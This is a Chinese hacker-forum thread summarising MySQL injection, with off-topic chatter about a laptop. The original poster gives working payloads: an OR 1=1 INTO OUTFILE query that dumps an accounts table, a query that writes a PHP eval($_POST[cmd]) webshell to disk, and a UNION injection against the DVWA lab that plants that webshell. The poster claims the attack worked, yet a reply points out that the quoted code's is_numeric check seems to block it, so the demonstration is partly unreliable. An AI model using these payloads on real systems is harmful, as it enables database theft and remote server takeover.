Mysql注入小结
红客吧
全部回复
仅看楼主
level 9
mramydnei 楼主
Mysql注入小结:

2011年09月18日 15点09分 1
level 10
你用的macbook?
2011年09月18日 16点09分 2
level 10
看见电池了 还是笔记本 有钱人 8000多买个集显真那么好吗?
2011年09月18日 16点09分 3
level 8
整天背着3kg的本本跑来跑去累死了...
2011年09月18日 16点09分 4
level 10
减肥 锻炼身体 而且3KG不重啊
2011年09月18日 16点09分 5
level 10
回复5楼:
每天上下五楼四遍试试==
2011年09月18日 16点09分 6
level 10
无压力
2011年09月18日 19点09分 7
level 9
爪机党
2011年09月18日 23点09分 8
level 11
试问LZ,这条语句导出的结果是什么
2011年09月19日 00点09分 9
level 9
mramydnei 楼主
SELECT * from accounts where username='' Or 1=1 into outfile '/Applications/1234.txt'
查询表accounts里面所有的字段,需要满足的条件是username为NULL或1=1
因为1=1这个条件满足表内的每一行
也就会将acounts的内容 写入1234.txt
2011年09月19日 00点09分 10
level 9
mramydnei 楼主
当然也可以更直接一些
select '<?php eval($_POST[cmd])?>' into outfile '/Applications/1.php'
2011年09月19日 00点09分 11
level 9
mramydnei 楼主
不是买的,小伙子。
2011年09月19日 00点09分 12
level 11
嗯。。。
只有那一句导出的话貌似有点没头没尾的,建表建字段插入内容,导出,这就写了一步。。。...
2011年09月19日 01点09分 13
level 10
送的。。。
2011年09月19日 04点09分 14
level 10
经常事 一点也不觉得重
2011年09月19日 05点09分 15
level 10
围观富B 我仇富
2011年09月19日 05点09分 16
level 9
mramydnei 楼主
这个是可以一步完成的,为什么要建表再建字段,再赋值,再outfile呢?
我给你一个例子:
以Damn Vulnerable Web App的Sql injection测试模块为例:
当我们提交id时,将会返回用户的First name和Surname
页面代码如下:
<?php
if (isset($_GET['Submit'])) {
// Retrieve data
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)){
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
$result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
$num = mysql_numrows($result);
$i=0;
while ($i < $num) {
$first = mysql_result($result,$i,"first_name");
$last = mysql_result($result,$i,"last_name");
echo '<pre>';
echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
echo '</pre>';
$i++;
}
}
}
?>
PS:我已经关闭了PHPIDS script level:low
SQL query是:SELECT first_name, last_name FROM users WHERE user_id = '$id'
对吧?
只是有个单引号需要我们去匹配。
构造语句:
SELECT first_name, last_name FROM users WHERE user_id = '-1' union Select '<?phpeval($_POST[cmd])?>','/* test */' into outfile '/Applications/1.php' -- '
多余的单引号,看你的喜好也可以选择其它注释方式
成功导出一句话木马到指定目录。
用客户端成功连接一句话木马。
你所谓的步骤不多余么?

2011年09月19日 05点09分 17
level 1
这个地方有is_numeric还能注入吗?
2011年10月11日 17点10分 18
level 10
马甲否?
2011年10月11日 18点10分 19
1